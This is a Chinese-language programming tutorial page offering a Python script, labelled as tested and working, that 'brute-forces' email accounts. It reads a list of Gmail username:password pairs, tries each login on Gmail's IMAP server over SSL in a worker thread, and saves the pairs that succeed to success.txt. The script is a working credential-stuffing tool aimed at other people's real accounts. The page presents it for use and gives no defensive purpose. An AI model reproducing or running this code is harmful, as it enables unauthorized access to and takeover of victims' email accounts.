Python實(shí)現(xiàn)在線暴力破解郵箱賬號(hào)密碼功能示例【測(cè)試可用】
本文實(shí)例講述了Python實(shí)現(xiàn)在線暴力破解郵箱賬號(hào)密碼功能。分享給大家供大家參考,具體如下:
dic 字典格式如下(mail.txt) :
username@gmail.com:password username@gmail.com:password username@gmail.com:password
以此類推,切記保存成utf-8編碼格式。
放置在當(dāng)前腳本目錄,也可自己定義修改。
支持ssl https /imap協(xié)議。
# version 3.4.0
# coding='UTF-8'
# time='2014-09-16'
import _dummy_thread
import imaplib
import threading
# global variant
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'
GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143
GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993
GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()
GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000
GMAIL_BYTES_READED_TOTAL_SIZE = 0
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0
GLOBAL_READ_FINISH_STATUS_SUCCESS = False
# define global function
def Write_Save_Success_Gmail_Jobs(indexSuccess):
Success_File = open('success.txt', 'a')
Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])
Success_File.close()
def Write_Save_Fail_Gmail_Jobs(indexFail):
Fail_File = open('fail.txt', 'a')
Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])
Fail_File.close()
# define global function
def Get_Parser_Account_Pwd(Index):
strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]
strUserName, strPassWord = strAccountPwd.split(':', 1)
return strUserName, strPassWord
# define global function
def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):
global GLOBAL_WORKING_THREAD_MUTEX_LOCK
global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES
if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:
GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()
GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1
print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)
print('IMAP INDEX-------', IndexGmail)
print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
Write_Save_Fail_Gmail_Jobs(IndexGmail)
# GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])
GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)
GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143
stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)
try:
ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)
except GmailImap4.error :
print('Logical errors - debug required')
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
return
except GmailImap4.abort :
print('Service errors - close and retry')
GmailImap4.close()
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
return
except GmailImap4.readonly:
print('Mailbox status changed to read only')
GmailImap4.close()
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
return
if (ResponseStatus[0] == 'OK'):
print('LOGIN SUCCESS')
Write_Save_Success_Gmail_Jobs(IndexGmail)
GmailImap4.logout()
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
else:
GmailImap4.close()
print('LOGIN FAIL')
print(ResponseStatus)
Write_Save_Fail_Gmail_Jobs(IndexGmail)
GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()
else:
return
# define global function
class Working_Zone_Thread(threading.Thread):
m_IndexStart = 0
m_IndexEnd = 0
def __init__(self, numEnd):
self.m_IndexEnd = numEnd
threading.Thread.__init__(self)
def run(self): # run process
while True:
if self.m_IndexStart < self.m_IndexEnd:
Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)
self.m_IndexStart = self.m_IndexStart + 1
else:
break
def _delete(self):
threading.Thread._delete(self)
print('thread delete is : ', self.getName())
# define read function
def Read_Send_Single_Func():
IndexStart = 0
print('--------read----star--')
global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM
global GMAIL_BYTES_READED_TOTAL_SIZE
global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY
File_Read = open('mail.txt', 'r', encoding='UTF-8')
File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek
while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:
line = File_Read.readline()
if line:
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)
CbBytes = line.__len__()
GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1
IndexStart = IndexStart + 1
else:
GLOBAL_READ_FINISH_STATUS_SUCCESS = True
break
print('gmail read num ', IndexStart)
File_Read.close()
print('---------read----end--')
# main entry
if __name__ == '__main__':
print('Main Thread Start : ')
while True:
if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:
Read_Send_Single_Func()
wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)
wzt.start()
wzt.join()
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0
GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()
else:
print('data has run out : ')
break
print('Main Thread End : ')
更多關(guān)于Python相關(guān)內(nèi)容可查看本站專題:《Python Socket編程技巧總結(jié)》、《Python數(shù)據(jù)結(jié)構(gòu)與算法教程》、《Python函數(shù)使用技巧總結(jié)》、《Python字符串操作技巧匯總》、《Python入門與進(jìn)階經(jīng)典教程》及《Python文件與目錄操作技巧匯總》
希望本文所述對(duì)大家Python程序設(shè)計(jì)有所幫助。
相關(guān)文章
python實(shí)現(xiàn)根據(jù)月份和日期得到星座的方法
這篇文章主要介紹了python實(shí)現(xiàn)根據(jù)月份和日期得到星座的方法,涉及Python操作字符串及數(shù)組的技巧,非常具有實(shí)用價(jià)值,需要的朋友可以參考下2015-03-03
Python使用socket實(shí)現(xiàn)組播與發(fā)送二進(jìn)制數(shù)據(jù)
在工作中經(jīng)常會(huì)用到socket傳輸數(shù)據(jù),例如客戶端給服務(wù)器發(fā)送數(shù)據(jù)(雙方約定了數(shù)據(jù)格式),本文主要介紹了Python使用socket實(shí)現(xiàn)組播與發(fā)送二進(jìn)制數(shù)據(jù),感興趣的可以了解一下2021-06-06
學(xué)習(xí)Django知識(shí)點(diǎn)分享
在本篇文章里小編給大家整理的是關(guān)于學(xué)習(xí)Django的一些心得知識(shí)點(diǎn),對(duì)此有興趣的朋友們可以參考下。2019-09-09
Python寫了個(gè)疫情信息快速查看工具實(shí)例代碼
本次使用PyQt5開發(fā)了一款疫情信息快速查看工具,實(shí)現(xiàn)了多個(gè)數(shù)據(jù)源的查看,代碼量不大,功能相當(dāng)于瀏覽器,只是限定了一些特定網(wǎng)址,這篇文章主要介紹了Python寫了個(gè)疫情信息快速查看工具,需要的朋友可以參考下2022-11-11
pygame學(xué)習(xí)筆記(2):畫點(diǎn)的三種方法和動(dòng)畫實(shí)例
這篇文章主要介紹了pygame學(xué)習(xí)筆記(2):畫點(diǎn)的三種方法和動(dòng)畫實(shí)例,本文講解了單個(gè)像素(畫點(diǎn))、連接多個(gè)點(diǎn)形成線、引用圖像、動(dòng)畫完整實(shí)例,需要的朋友可以參考下2015-04-04
conda?install?nb_conda失敗原因分析及解決
這篇文章主要給大家介紹了關(guān)于conda?install?nb_conda失敗原因分析及解決方法,conda install nb_conda顯示錯(cuò)誤的原因可能有很多,具體原因取決于你的系統(tǒng)環(huán)境和安裝的conda版本,需要的朋友可以參考下2023-11-11

